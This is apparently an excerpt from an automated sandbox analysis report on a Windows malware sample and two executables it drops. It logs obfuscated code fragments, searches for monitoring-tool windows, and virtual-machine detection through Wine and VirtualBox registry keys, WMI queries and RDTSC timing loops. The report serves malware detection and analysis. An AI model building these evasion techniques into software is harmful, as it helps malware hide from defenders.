Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name: .idata
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name: tumlwnkw
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name: twdpfarl
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Static PE information: section name: .taggant

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB2427 push 551F88CFh; mov dword ptr [esp], ebx	3_2_00CB2479
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB2427 push eax; mov dword ptr [esp], ecx	3_2_00CB24A3
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB2427 push 19213D00h; mov dword ptr [esp], ecx	3_2_00CB24BC
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB2427 push ecx; mov dword ptr [esp], ebp	3_2_00CB253B
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB257A push eax; mov dword ptr [esp], edi	3_2_00CB260E
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB257A push edi; mov dword ptr [esp], 775DA6B9h	3_2_00CB2643
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB257A push ecx; mov dword ptr [esp], edx	3_2_00CB2690
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB257A push 371FA190h; mov dword ptr [esp], edi	3_2_00CB26B0
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00B3E7DD push 3901DF51h; mov dword ptr [esp], eax	3_2_00B3E7F2
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00B40B0C push edi; mov dword ptr [esp], 30F58069h	3_2_00B40B0D
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00B410BC push ecx; mov dword ptr [esp], ebx	3_2_00B410C0
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30C6 push ebx; mov dword ptr [esp], 37FE7453h	3_2_00CB312F
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30C6 push edi; mov dword ptr [esp], ebp	3_2_00CB3142
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30C6 push 60C19EC3h; mov dword ptr [esp], edx	3_2_00CB3161
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30C6 push ebx; mov dword ptr [esp], 7F7FA400h	3_2_00CB3174
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30C6 push 7945A720h; mov dword ptr [esp], ebx	3_2_00CB31CB
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CBE0C4 push 3BED740Eh; mov dword ptr [esp], edi	3_2_00CBE0CF
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CBE0C4 push ebx; mov dword ptr [esp], edx	3_2_00CC14E4
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CC60DE push edi; mov dword ptr [esp], 35D32204h	3_2_00CC610D
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30D8 push ebx; mov dword ptr [esp], 37FE7453h	3_2_00CB312F
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30D8 push edi; mov dword ptr [esp], ebp	3_2_00CB3142
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30D8 push 60C19EC3h; mov dword ptr [esp], edx	3_2_00CB3161
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30D8 push ebx; mov dword ptr [esp], 7F7FA400h	3_2_00CB3174
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30D8 push 7945A720h; mov dword ptr [esp], ebx	3_2_00CB31CB
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00B41090 push 6879D885h; mov dword ptr [esp], eax	3_2_00B410A2
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CC6087 push esi; mov dword ptr [esp], ecx	3_2_00CC609D
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00B420E1 push eax; mov dword ptr [esp], ebp	3_2_00B420F1
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CBF093 push ebx; mov dword ptr [esp], 777512D7h	3_2_00CBF09B
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CBF093 push eax; mov dword ptr [esp], edi	3_2_00CC23AB
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CBF0BA push eax; mov dword ptr [esp], edi	3_2_00CBF0C4
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Code function: 3_2_00CB30BD push ebx; mov dword ptr [esp], 37FE7453h	3_2_00CB312F

Source: 2jx1O1t486.exe	Static PE information: section name: entropy: 7.9863817166572
Source: 2jx1O1t486.exe	Static PE information: section name: yxabeiju entropy: 7.954126275169314

Source: C:\Users\user\Desktop\2jx1O1t486.exe	File created: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe			Jump to dropped file
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File created: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\2jx1O1t486.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\2jx1O1t486.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06BF7 second address: E06BFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06BFB second address: E06C11 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F850CC4A386h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edx 0x0000000e jl 00007F850CC4A386h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06C11 second address: E06C19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06C19 second address: E06C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06D7D second address: E06D81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06D81 second address: E06DAA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F850CC4A38Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F850CC4A386h 0x00000013 jmp 00007F850CC4A390h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06DAA second address: E06DE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DDh 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jno 00007F850D0E60DAh 0x00000011 popad 0x00000012 pushad 0x00000013 push ebx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F850D0E60E2h 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e jg 00007F850D0E60D6h 0x00000024 push edi 0x00000025 pop edi 0x00000026 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E06DE9 second address: E06DEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E0707E second address: E070AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F850D0E60D6h 0x0000000a jmp 00007F850D0E60E2h 0x0000000f popad 0x00000010 pushad 0x00000011 jmp 00007F850D0E60DCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E071DF second address: E071E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E071E5 second address: E07201 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F850D0E60E3h 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E09BB6 second address: E09BC7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E09BC7 second address: E09BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850D0E60E1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E09DBE second address: E09E0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A391h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, edx 0x0000000c push 00000000h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F850CC4A388h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 mov ecx, 3B8F986Ch 0x0000002d push 70FA8325h 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E09E0B second address: E09E0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E09ED5 second address: E09EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F850CC4A386h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E09FFE second address: E0A009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF76AE second address: DF76C2 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F850CC4A386h 0x00000008 jnp 00007F850CC4A386h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2911A second address: E29152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F850D0E60D6h 0x0000000a popad 0x0000000b jmp 00007F850D0E60E1h 0x00000010 jmp 00007F850D0E60E8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E292E7 second address: E292F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F850CC4A38Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E292F8 second address: E292FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E29885 second address: E29889 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E29889 second address: E29898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pop ecx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E29DBB second address: E29DBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E29DBF second address: E29DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E29DC5 second address: E29DE7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850CC4A388h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F850CC4A391h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E29DE7 second address: E29DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2A97E second address: E2A984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2A984 second address: E2A988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2A988 second address: E2A994 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850CC4A386h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2AC88 second address: E2ACA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F850D0E60D6h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d pop esi 0x0000000e jc 00007F850D0E60F6h 0x00000014 jnp 00007F850D0E60DCh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2ACA4 second address: E2ACAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2ADE5 second address: E2ADF5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850D0E60D6h 0x00000008 jno 00007F850D0E60D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2ADF5 second address: E2ADFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2ADFB second address: E2ADFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2ADFF second address: E2AE1E instructions: 0x00000000 rdtsc 0x00000002 jo 00007F850CC4A386h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850CC4A391h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2B0B3 second address: E2B0BB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E2B0BB second address: E2B0DE instructions: 0x00000000 rdtsc 0x00000002 jg 00007F850CC4A388h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F850CC4A395h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E3194F second address: E31985 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F850D0E60E3h 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F850D0E60DAh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E31985 second address: E319A9 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F850CC4A39Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E319A9 second address: E319B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F850D0E60D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: E31B82 second address: E31B87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF25C0 second address: DF25C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF25C4 second address: DF25E6 instructions: 0x00000000 rdtsc 0x00000002 js 00007F850CC4A386h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F850CC4A390h 0x00000012 jmp 00007F850CC4A38Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF25E6 second address: DF25EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF25EA second address: DF25F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: DF25F0 second address: DF2604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F850D0E60D6h 0x0000000e jbe 00007F850D0E60D6h 0x00000014 rdtsc
